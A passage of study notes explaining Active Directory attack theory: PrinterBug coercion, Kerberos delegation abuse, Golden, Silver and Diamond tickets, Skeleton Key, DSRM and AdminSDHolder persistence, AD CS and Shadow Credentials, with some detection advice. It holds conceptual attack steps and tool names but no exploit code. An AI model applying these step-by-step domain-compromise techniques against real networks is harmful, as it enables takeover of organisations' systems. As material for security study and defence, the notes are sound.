2. **Attacker uses PrinterBug tool** (e.g., `SpoolSample`) to force a printer notification request:
   * The attacker tells the **target (e.g., DC01)** to register for print changes **from attacker's IP**.
   * The target tries to connect to `\\attacker-ip\IPC$` to complete the registration.
   * It uses **its own computer account** (e.g., `DC01$`) and sends **NTLM authentication**.
3. **Attacker receives the NTLM auth** — Now the attacker can:
   * **Relay** the authentication to another service (like LDAP or SMB)
   * **Capture the NetNTLMv2 hash** and try to crack it

***

### Constrained Delegation (Theory)

Read this, it is very important: <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#serendipity> · <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/8ee85a47-7526-4184-a7c5-25a5e4155d7d>

**A User Authenticates to the Front-End Service**

* A user logs into a **front-end service**, such as: Web App (IIS), Remote Desktop Gateway, SMB Share.
* The user authenticates using **Kerberos**, and a **Service Ticket (TGS)** is issued to the front-end service.

**Step 3: The Front-End Service Gets the User's TGS**

* The front-end receives a **TGS** that proves the user's identity.
* This ticket can't yet be used to talk to other services as the user.

**Step 4: The Front-End Requests a Service Ticket on Behalf of the User**

* Now the front-end (delegated service) says: *"I want to access CIFS on the FileServer as if I were the user."*
* It sends a **TGS-REQ** to the **KDC**, which includes:
  * The **user's TGS**
  * A **flag** indicating it's requesting **S4U2Proxy** (Service for User to Proxy)

**Step 5: The KDC Checks Delegation Rights**

* The KDC checks: Is this service trusted **for constrained delegation**? Is it allowed to delegate to the **target service** (e.g., `cifs/fileserver`)?
* If **yes**, KDC issues a new service ticket: from the **user** to the **target service**, delivered **to the front-end service**.

**Step 6: The Front-End Now Accesses the Target as the User**

* The front-end connects to the target service (e.g., FileServer) using the **delegated ticket**.
* The target sees the request as coming **from the user**, not the front-end.
* This allows impersonation **only to specified services**, unlike unconstrained delegation.

**Important Concepts:**

| Term                             | Meaning                                                                 |
| -------------------------------- | ----------------------------------------------------------------------- |
| **S4U**                          | Service For User – Kerberos extension used in constrained delegation    |
| **S4U2Self**                     | Allows a service to obtain a TGT on behalf of a user                    |
| **S4U2Proxy**                    | Allows a service to get a service ticket to another service as the user |
| **msDS-AllowedToDelegateTo**     | Lists SPNs (services) the account can delegate to                       |
| **TrustedToAuthForDelegation**   | Enables S4U2Proxy + S4U2Self (protocol transition)                      |
| **Service Principal Name (SPN)** | Identifies services (e.g., `cifs/fileserver`) in Kerberos               |

> *\[Screenshots: Pasted image 20250531051259.png · 20250531051852.png · 20250531052108.png]*

***

### S4U2Self & S4U2Proxy

They are two parts of the **Service for User (S4U)** Kerberos protocol extension introduced by Microsoft. Together, they allow a **service account** to **impersonate a user** to other services in a **controlled and secure** way — without needing the user's password or TGT.

#### S4U2Self (Service for User to Self)

**Goal:** Let a service **pretend to be a user**, even if that user never authenticated to it directly with Kerberos.

**Use Case:**

* You logged into a web app with a **username/password**, but the app still wants to authenticate you to other services using **Kerberos**.
* The app doesn't have your TGT, but it knows your **username**.
* Using **S4U2Self**, it gets a **service ticket "from the user to itself"** without needing your password.

**Step-by-Step How S4U2Self Works:**

1. User logs in to the front-end app using any method (NTLM, forms auth, smartcard, etc.).
2. The front-end server (a service account) needs to act as this user to access another service (like a file server).
3. It sends an **S4U2Self request** to the **KDC**: "Give me a service ticket **from this user to myself**."
4. The KDC validates: Is this account trusted **for protocol transition**? (Means the service can impersonate users who didn't authenticate with Kerberos.)
5. If allowed, KDC issues a **forwardable service ticket** from the **user to the service account**.
6. Now the front-end service holds a ticket that says: "I'm acting on behalf of this user."

> S4U2Self does **not yet allow access to other services** — it's just the first step.

#### S4U2Proxy (Service for User to Proxy)

**Goal:** Let the service use that **S4U2Self ticket** to get a **new ticket to another service**, **as if it were the user**.

**Step-by-Step How S4U2Proxy Works:**

1. The service has a valid **S4U2Self ticket** for a user.
2. It now asks the **KDC**: "Give me a service ticket from this user to a different service (e.g., CIFS or LDAP)."
3. The KDC checks: Is the requesting service allowed (in AD) to delegate to the **target SPN**? This is stored in the **msDS-AllowedToDelegateTo** attribute.
4. If the service is authorized, the KDC returns: A new **service ticket from the user to the target service**.
5. The requesting service sends that ticket to the target.
6. The target service sees this as a **legitimate Kerberos authentication from the user**.

**Full Flow of Constrained Delegation Using S4U2Self + S4U2Proxy:**

```
USER ──► [Web App]
             │  wants to act as user (has only username)
             ▼
      S4U2Self request ──────► [KDC] → issues ticket: user → web app
             │
             ▼
      S4U2Proxy request ─────► [KDC] → issues ticket: user → target service (CIFS, LDAP, etc.)
             │
             ▼
      Connects to target as user
```

**Technical Summary Table:**

| Feature                    | S4U2Self                                        | S4U2Proxy                                |
| -------------------------- | ----------------------------------------------- | ---------------------------------------- |
| Purpose                    | Impersonate a user to self                      | Act on behalf of user to another service |
| Requires user's TGT?       | ❌ No                                            | ✅ Needs a ticket from user to self       |
| Needs Protocol Transition? | ✅ Yes                                           | ❌ No                                     |
| Controlled by              | `TrustedToAuthForDelegation` flag               | `msDS-AllowedToDelegateTo`               |
| Used in                    | Constrained Delegation with Protocol Transition | Constrained Delegation                   |

***

### msDS-AllowedToDelegateTo

It defines which **service principal names (SPNs)** a computer or user **is allowed to delegate to** on behalf of another user, using **S4U2Proxy** (Service for User to Proxy) in **constrained delegation**.

If an attacker compromises an account/machine with this delegation right, they can:

* **Impersonate any user**, including **Domain Admins**
* Request service tickets (TGS) to sensitive services like LDAP, CIFS, etc.
* Execute attacks like **DCSync**

***

### Resource-Based Constrained Delegation (Theory)

**RBCD** is a modern and more secure form of **Kerberos constrained delegation** that uses **S4U extensions** (Services For User). It lets one computer/service account impersonate a user **to another computer/service**, but **the trust is defined on the target**, not on the source.

RBCD flips the traditional delegation model on its head. Instead of configuring delegation settings on the account that will be delegating (like a web server), you configure the trust relationship on the **target service** that will receive the delegated credentials.

**Simplified Permissions:** The major advantage is that setting up RBCD doesn't require high-level Domain Admin or Enterprise Admin privileges. You only need write permissions on the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of the target service account.

#### Key Concepts Expanded

**"Closely related to classic Constrained Delegation"**

* Classic constrained delegation is configured by setting `msDS-AllowedToDelegateTo` **on the source computer** (like `WEB01`).
* RBCD is more flexible and secure. It uses **Kerberos S4U2Self and S4U2Proxy** extensions — same core protocol mechanics, but different setup logic.

**"Uses S4U extensions"** — RBCD relies on:

* **S4U2Self:** Allows a service to get a service ticket **on behalf of a user** (without needing their credentials).
* **S4U2Proxy:** Allows a service to present that ticket **to another service** — impersonating the user.

**"Does not require Domain or Enterprise Admin privileges"** — this is what makes RBCD powerful (and dangerous if abused). In **classic delegation**, **Domain Admins** must configure it. But in RBCD:

* You just need **write access to a computer object's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute** (via ACL).
* So if an attacker gets **control of a machine account or its ACL**, they can **grant delegation to any other account**.
  * Example: If attacker owns `WEBSRV1`, they can modify the `SQL01` computer object to **trust WEBSRV1 to delegate** to it.

**"Trust is configured on the service that receives delegated credentials"**

* In classic constrained delegation: Trust is set on the **source** (the impersonating machine). → "Web01 is allowed to delegate to SQL01"
* In RBCD: Trust is set on the **target** (the impersonated destination). → "SQL01 trusts Web01 to act on behalf of users"
* This means: To allow `WEB01` to delegate to `SQL01`, you **edit `SQL01`'s AD object**, not `WEB01`'s.

> *\[Screenshot: Pasted image 20250621064623.png]*

***

### Constrained Delegation Kerberos Only (Theory)

> *\[Screenshot: Pasted image 20250621093208.png]*

**"We cannot use S4U2Self as the service doesn't have `TRUSTED_TO_AUTH_FOR_DELEGATION` value configured."**

* **S4U2Self** allows a service to get a service ticket **to itself** on behalf of any user.
* However, it **only works** when the account is marked as `TRUSTED_TO_AUTH_FOR_DELEGATION` (this flag is visible with PowerView or `Get-ADComputer`).
* Since **Kerberos-only constrained delegation** disables that flag, **S4U2Self cannot be used** directly.

***

### Golden Ticket (Theory)

The long-term key of the `krbtgt` account can be used to forge a special TGT (Ticket Granting Ticket) that can later be used with [Pass-the-ticket](https://www.thehacker.recipes/ad/movement/kerberos/ptt) to access any resource within the AD domain. The `krbtgt`'s key is used to encrypt the PAC. In a Golden Ticket scenario, an attacker that has knowledge of the `krbtgt` long-term key will usually forge a PAC indicating that the user belongs to privileged groups. This PAC will be embedded in a forged TGT. The TGT will be used to request Service Tickets that will then feature the PAC presented in the TGT, hence granting lots of access to the attacker.

**What Makes This Attack Possible?** The attack exploits how **Kerberos authentication** works in Windows domains:

* Kerberos uses **TGTs** signed by the **KRBTGT** account's secret key on the Domain Controller.
* If an attacker compromises the **KRBTGT account's NTLM hash**, they can **forge TGTs** manually.

**Key Requirements for a Golden Ticket Attack:**

| Requirement                 | Description                                                                    |
| --------------------------- | ------------------------------------------------------------------------------ |
| **KRBTGT NTLM Hash**        | Most critical. Allows signing forged TGTs. Can be extracted using Mimikatz.    |
| **Domain SID**              | Identifies the domain. Can be retrieved via LDAP or tools like `whoami /user`. |
| **Username to Impersonate** | E.g., Administrator or any domain user.                                        |
| **Domain Name**             | E.g., `corp.local`.                                                            |
| **Group SIDs** *(Optional)* | To add user to groups like `Domain Admins`.                                    |

***

### Silver Ticket (Theory)

A **Silver Ticket Attack** is a Kerberos-based attack where an attacker forges a **Service Ticket (TGS - Ticket Granting Service)** to impersonate a legitimate user and gain unauthorized access to a specific service (e.g., a file share, database, or web server). Unlike Golden Tickets, which target the **entire domain**, Silver Tickets are **service-specific** and require the **NTLM hash or AES key** of the service account.

**To create a silver ticket, attacker needs:**

| Info Needed                 | How to Get                                                                   |
| --------------------------- | ---------------------------------------------------------------------------- |
| **Username** to impersonate | Choose any (even Administrator)                                              |
| **Domain name**             | `corp.local`, etc.                                                           |
| **Service account hash**    | NTLM or AES of the computer account or service                               |
| **SPN**                     | Like `HOST/dc.corp.local`, `MSSQLSvc/sql.corp.local`, `CIFS/file.corp.local` |
| **Domain SID**              | From `whoami /user` or LDAP                                                  |
| **Service name**            | E.g., `CIFS`, `HOST`, `HTTP`, `MSSQLSvc`                                     |

**Attack Steps:**

1. **Compromise the Service Account Hash** — The attacker extracts the **NTLM/AES hash** of a service account (e.g., `MSSQL`, `HTTP`, `CIFS`) using tools like **Mimikatz**, **Impacket's secretsdump.py**, or **LSASS memory dumping**.
2. **Forge a Service Ticket (TGS)** — Using the stolen hash, the attacker crafts a **fake TGS ticket** for a specific service (e.g., `CIFS/fileserver.domain.com`). The ticket includes:
   * A **fake username** (e.g., "Administrator").
   * A **custom expiration time** (unlike Golden Tickets, Silver Tickets are limited to the service's max ticket lifetime).
   * **Arbitrary privileges** (e.g., admin access to a SQL database).
3. **Use the Silver Ticket to Access the Service** — The attacker presents the forged TGS to the target service (e.g., a file server). Since the ticket is signed with the **real service account hash**, the service accepts it as valid. The attacker gains **persistent access** to the service without further authentication.

***

### Diamond Ticket (Theory)

In a golden ticket we are forging a TGT, while in a diamond ticket we modify the TGT.

[Golden](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/golden) and [Silver tickets](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/silver) can usually be detected by probes that monitor the service ticket requests (`KRB_TGS_REQ`) that have no corresponding TGT requests (`KRB_AS_REQ`). Those types of tickets also feature forged PACs that sometimes fail at mimicking real ones, thus increasing their detection rates.

Diamond tickets can be a useful alternative in the way they simply request a normal ticket, decrypt the PAC, modify it, recalculate the signatures and encrypt it again. It requires knowledge of the target service long-term key (can be the `krbtgt` for a TGT, or a target service for a Service Ticket).

In this scenario, an attacker that has knowledge of the service long-term key (`krbtgt` keys in case of a TGT, service account keys of Service Tickets) can request a legitimate ticket, decrypt the PAC, modify it, recalculate the signatures and encrypt the ticket again. This technique allows producing a PAC that is highly similar to a legitimate one and also produces legitimate requests.

***

### Skeleton Key (Theory)

Skeleton Key is a persistence attack used to set a master password on one or multiple Domain Controllers. The master password can then be used to authenticate as any user in the domain while they can still authenticate with their original password. It makes detecting this attack a difficult task since it doesn't disturb day-to-day usage in the domain.

Skeleton Key injects itself into the LSASS process of a Domain Controller to create the master password. It requires Domain Admin rights and `SeDebugPrivilege` on the target (which are given by default to domain admins). Read more: [Active Directory Domain Controller Skeleton Key Malware & Mimikatz – Active Directory Security](https://adsecurity.org/?p=1255)

***

### DSRM (Theory)

Every Domain Controller has an internal "break glass" local administrator account called the Directory Services Restore Mode (DSRM) account. The DSRM password is set when a new DC is promoted and the password is rarely changed.

The DSRM account name is "Administrator" and is the Domain Controller's local admin account. We can confirm this with Mimikatz by dumping the local SAM credentials on a Domain Controller.

The Directory Services Restore Mode (DSRM) is a special mode available on every Domain Controller (DC) for recovery operations. When a server is promoted to a Domain Controller, a local administrator account named "Administrator" is created with a DSRM password. This password is rarely updated and is distinct from domain credentials, making it an interesting target for persistence.

An attacker with Domain Admin privileges (or local admin privileges on Domain Controllers) can retrieve the hash of the DSRM password using tools like Mimikatz and use it to maintain persistent access. By modifying specific configurations on the DC, it becomes possible to leverage the DSRM account remotely, including authenticating over the network.

The DSRM account, being a local administrator account on the DC, is not subject to domain password policies. However, by default, its use is limited to specific conditions, such as when the DC is booted into DSRM. These limitations can be bypassed by altering the registry key responsible for the account's logon behavior.

The registry key `HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior` governs the conditions under which the DSRM account can be used:

* **Value 0 (default):** The account is usable only when the DC is started in DSRM.
* **Value 1:** Allows DSRM credentials when the local AD DS service is stopped.
* **Value 2:** Permits the use of DSRM credentials at all times, including over the network.

**Mitigation:** Monitor registry changes to `HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior` and alert on values `1` or `2` (Event ID 4794). The registry key should not exist or be set to 1. [Sneaky Active Directory Persistence #13: DSRM Persistence v2 – Active Directory Security](https://adsecurity.org/?p=1785)

***

### Custom SSP (Theory)

A Security Support Provider (SSP) is a DLL which provides ways for an application to obtain an authenticated connection. Some SSP Packages by Microsoft are: NTLM, Kerberos, Wdigest, CredSSP. Mimikatz provides a custom SSP — `mimilib.dll`. This SSP logs local logons, service account and machine account passwords in clear text on the target server.

***

### AdminSDHolder (Theory)

AdminSDHolder protects domain objects against permission changes. "AdminSDHolder" either refers to a domain object, a "worker code" or an operation depending on the context.

The operation consists in the PDC (Principal Domain Controller) Emulator restoring pre-set permissions for high-privilege users every 60 minutes. Understanding what DACLs/ACEs are and how to abuse them is a requirement to the understanding of this persistence technique (see [Access Controls abuse](https://www.thehacker.recipes/ad/movement/dacl/)).

The operation is conducted by a "worker code" called SDProp (Security Descriptor propagator). SDProp propagates AdminSDHolder's Security Descriptor (which contains the DACL) to every protected object every 60 minutes if their SD is different.

The AdminSDHolder object is located at `CN=AdminSDHolder,CN=SYSTEM,DC=DOMAIN,DC=LOCAL`. For instance, the default AdminSDHolder object's DACL contains the following:

* Authenticated Users: Read
* SYSTEM: Full Control
* Administrators: Modify
* Domain Admins: ReadAndExecute
* Enterprise Admins: ReadAndExecute

The default protected objects are the following:

* member users (possibly nested) of the following groups: `Account Operators`, `Administrators`, `Backup Operators`, `Domain Admins`, `Domain Controllers`, `Enterprise Admins`, `Print Operators`, `Read-only Domain Controllers`, `Replicator`, `Schema Admins`, `Server Operators`
* the following users: `Administrator`, `krbtgt`

AdminSDHolder is an object located in the System Partition in Active Directory (`cn=adminsdholder,cn=system,dc=domain,dc=com`) and is used as a security template for objects that are members of certain privileged groups. Objects in these groups are enumerated and any objects with security descriptors that don't match the AdminSDHolder ACL are flagged for updating. The Security Descriptor propagator (SDProp) process runs every 60 minutes on the PDC Emulator and re-stamps the object Access Control List (ACL) with the security permissions set on the AdminSDHolder.

AdminSDHolder is a sneaky method for an attacker to persist, granting the ability to modify the most privileged groups in Active Directory by leveraging a key security component. Even if the permissions are changed on a protected group or user, SDProp will change the security permissions to match that of the AdminSDHolder object.

**Detection:** Monitor the ACLs configured on the AdminSDHolder object. These should be kept at the default — it is not usually necessary to add other groups to the AdminSDHolder ACL. Monitor users and groups with `AdminCount = 1` to identify accounts with ACLs set by SDProp. Find all users with security ACLs set by SDProp using the PowerShell AD cmdlets: [Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin Rights – Active Directory Security](https://adsecurity.org/?p=1906)

***

### Cross Domain — AD CS (Theory)

[Certified Pre-Owned. Active Directory Certificate Services… | by Will Schroeder | Posts By SpecterOps Team Members](https://posts.specterops.io/certified-pre-owned-d95910965cd2)

AD CS is Microsoft's PKI implementation that integrates with existing Active Directory forests, and provides everything from encrypting file systems, to digital signatures, to user authentication.

* Active Directory Certificate Services (AD CS) enables use of Public Key Infrastructure (PKI) in an active directory forest.
* AD CS helps in authenticating users and machines, encrypting and signing documents, filesystem, emails and more.
* "AD CS is the Server Role that allows you to build a public key infrastructure (PKI) and provide public key cryptography, digital certificates, and digital signature capabilities for your organization."

**Key terms:**

* **CA** — The certification authority that issues certificates. The server with AD CS role (DC or separate) is the CA.
* **Certificate** — Issued to a user or machine and can be used for authentication, encryption, signing etc.
* **CSR** — Certificate Signing Request made by a client to the CA to request a certificate.
* **Certificate Template** — Defines settings for a certificate. Contains information like enrolment permissions, EKUs, expiry etc.
* **EKU OIDs** — Extended Key Usages Object Identifiers. These dictate the use of a certificate template (Client authentication, Smart Card Logon, SubCA etc.)

**What is PKI?** PKI (Public Key Infrastructure) is a **framework of technologies, policies, and procedures** that enables secure **digital communication and identity verification** using **public-key cryptography**. It allows you to:

* **Encrypt data**
* **Digitally sign** files and messages
* **Authenticate users and machines**
* **Verify the integrity** of data

> *\[Screenshots: Pasted image 20250624105715.png · 20250625024324.png · 20250625024351.png]*

The specific toxic parameter set that we are looking for is one that has the following:

* A template where we have the relevant permissions to request the certificate, or where we have an account with those permissions.
* A template that allows client authentication, meaning we can use it for Kerberos authentication.
* A template that allows us to alter the subject alternative name (SAN).

***

### Shadow Credentials (Theory)

**What is `msDS-KeyCredentialLink`?** It is an **Active Directory (AD) attribute** used to store **public key credentials** (like certificate thumbprints or FIDO2 key handles) for:

* **Passwordless authentication** (e.g., FIDO2, Windows Hello for Business)
* **Smartcard-less certificate logon**
* **Kerberos PKINIT authentication**
* **Azure AD Hybrid key trust deployments**
* And yes — for **abuse by attackers** (Shadow Credentials)

PKINIT: Public Key Cryptography for Initial Authentication.

**Shadow Credentials Attack (T1558.004)** — an attacker can:

1. Forge a **KeyCredential** structure (containing a public key they control)
2. Write it into the `msDS-KeyCredentialLink` attribute of a target user
3. Use the **matching private key** to request a **TGT via PKINIT**
4. Authenticate as the target user — **without password or hash**

This works if the attacker:

* Has **write permissions** to `msDS-KeyCredentialLink` on a target account
* Uses tools like: **ForgeCert**, **Certipy**, **Whisker**, **Rubeus**, **PKINITtools**

**What Is the Shadow Credentials Attack?** Shadow Credentials is an attack where a low-privileged attacker **adds their own certificate/public key** to a target user account (e.g., a Domain Admin) in Active Directory, via the **`msDS-KeyCredentialLink`** attribute. Once this is done, the attacker can:

* Request a **Kerberos TGT** using their private key via **PKINIT**
* **Authenticate as the target user**
* **Access resources**, move laterally, or escalate privileges

✅ No password needed · ✅ No hash needed · ✅ No password reset · ✅ Extremely stealthy

**Background: How PKINIT and `msDS-KeyCredentialLink` Work**

* In **Kerberos PKINIT**, users can authenticate using **certificates** instead of passwords.
* Windows stores these certificates' **public key information** in the `msDS-KeyCredentialLink` attribute.
* If an attacker can write to this attribute, they can insert their own key and **use it to authenticate as the target user**.

**How the Shadow Credentials Attack Works (Step-by-Step):**

Attacker Requirements:

* Access to a **domain-joined machine**
* A **valid user account**
* **Write permissions** on a **target user's `msDS-KeyCredentialLink`** attribute (this can be common in misconfigured AD environments)

Attack Flow:

1. **Generate a certificate** (self-signed or controlled private key)
2. **Create a KeyCredential** structure with the public key
3. **Write the KeyCredential blob** to the `msDS-KeyCredentialLink` of the **target user**
4. Use **Kerberos PKINIT** to request a **TGT** as the target user
5. Use the TGT to access domain resources — **you are now the target user**

[Shadow Credentials | Red Team Notes](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials#overview)

> *\[Screenshot: Pasted image 20250625071437.png]*

***

### Azure AD (Theory)

* Azure AD is a popular method to extend identity management from on-premises AD to Microsoft's Azure offerings.
* Many enterprises use their on-prem AD identities to access Azure applications.
* "A single user identity for authentication and authorization to all resources, regardless of location…is hybrid identity."

An on-premises AD can be integrated with Azure AD using Azure AD Connect with the following methods:

* Password Hash Sync (PHS)
* Pass-Through Authentication (PTA)
* Federation

> *\[Screenshot: Pasted image 20250626071810.png]*

***

### SID History (Theory)

The SID (Security Identifier) is a unique identifier that is assigned to each security principal (e.g. user, group, computer). It is used to identify the principal within the domain and is used to control access to resources.

The SID history is a property of a user or group object that allows the object to retain its SID when it is migrated from one domain to another as part of a domain consolidation or restructuring. When an object is migrated to a new domain, it is assigned a new SID in the target domain. The SID history allows the object to retain its original SID, so that access to resources in the source domain is not lost.

This mechanism can also be abused as a means of persistence: adding the SID of a privileged account or group to the SID-History attribute of a controlled account grants rights associated with account/group of which the SID is added.

For instance, the SID of an account with Domain Admin rights can be added to a normal user SID History to grant them Domain Admin rights (the rights would not be granted per se, but the modified account would be treated as domain admin when checking rights).

***

### MSSQL Servers (Theory)

* MS SQL servers are generally deployed in plenty in a Windows domain.
* SQL Servers provide very good options for lateral movement as they allow mapping domain users to database roles and thus become part of AD trusts.
* Let's see one scenario where we can abuse SQL servers trust and database links to move across forest trust boundaries.
* For MSSQL and PowerShell hackery, let's use PowerUpSQL: <https://github.com/NetSPI/PowerUpSQL>
* A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources.
* In case of database links between SQL servers (i.e. linked SQL servers), it is possible to execute stored procedures.
* Database links work even across forest trusts.

***

### Foreign Security Principals (Theory)

* A Foreign Security Principal (FSP) represents a Security Principal in an external forest trust or special identities (like Authenticated Users, Enterprise DCs etc.).
* Only the SID of an FSP is stored in the Foreign Security Principal Container which can be resolved using the trust relationship.
* FSP allows external principals to be added to domain local security groups, thus allowing such principals to access resources in the forest.
* Often, FSPs are ignored, misconfigured or too complex to change/cleanup in an enterprise, making them ripe for abuse.

***

### PAM Trust (Theory)

**What is PAM Trust in Active Directory?** PAM Trust refers to a special **forest trust** that is created as part of **Microsoft's Privileged Access Management (PAM)** solution, which helps secure privileged accounts against compromise and abuse. It is a **one-way trust** between a **production forest** and a **PAM forest** (or bastion forest), designed to **limit and control privileged access** using **Just-in-Time (JIT)** principles.

**The Idea Behind PAM Trust** — Traditionally, privileged accounts like **Domain Admins** exist *permanently* in Active Directory. If compromised, an attacker can move laterally and persist easily.

> **PAM Trust breaks that model:** Instead of having permanent privileged users in the production domain, **temporary administrative access** is granted from a **trusted PAM forest**.

**How PAM Trust Works (Concept):**

1. You set up a **separate Active Directory forest** (called the **PAM forest** or **bastion forest**).
2. You establish a **one-way trust**: **PAM forest → Production forest** — meaning accounts in the PAM forest can be granted rights in the production forest, but not vice versa.
3. You use **Microsoft Identity Manager (MIM)** or **PAM tools** to grant **Just-in-Time access** to users from the PAM forest into privileged roles (like Domain Admins) in the production forest.
4. After a defined period (e.g. 1 hour), access expires and is automatically removed.

**Purpose of PAM Trust:**

| Goal                      | Description                                                        |
| ------------------------- | ------------------------------------------------------------------ |
| **Reduce attack surface** | No always-on Domain Admins in production                           |
| **Time-limited access**   | Admins get temporary access only when needed                       |
| **Audit and approval**    | Access requests can go through approval workflows                  |
| **Isolation**             | PAM forest is hardened, monitored, and isolated from user activity |

**Key Technologies Involved:**

* **Microsoft Identity Manager (MIM)** with PAM extension
* **Shadow Principals** (temporary accounts created in production)
* **SIDHistory** (used to allow temporary accounts to gain access)
* **PAM Trust** (a unique, one-way forest trust setup)

**What Happens Under the Hood:**

1. User requests elevation in PAM (e.g., to become Domain Admin).
2. PAM/MIM creates a **temporary user account** in the **PAM forest**.
3. A **shadow principal** is created in the **production forest**, with the **SIDHistory** of the group being targeted (e.g., Domain Admins).
4. A **PAM trust** enables the PAM user's SID to be honored by the production domain.
5. Access is granted.
6. When the time expires, accounts are removed.
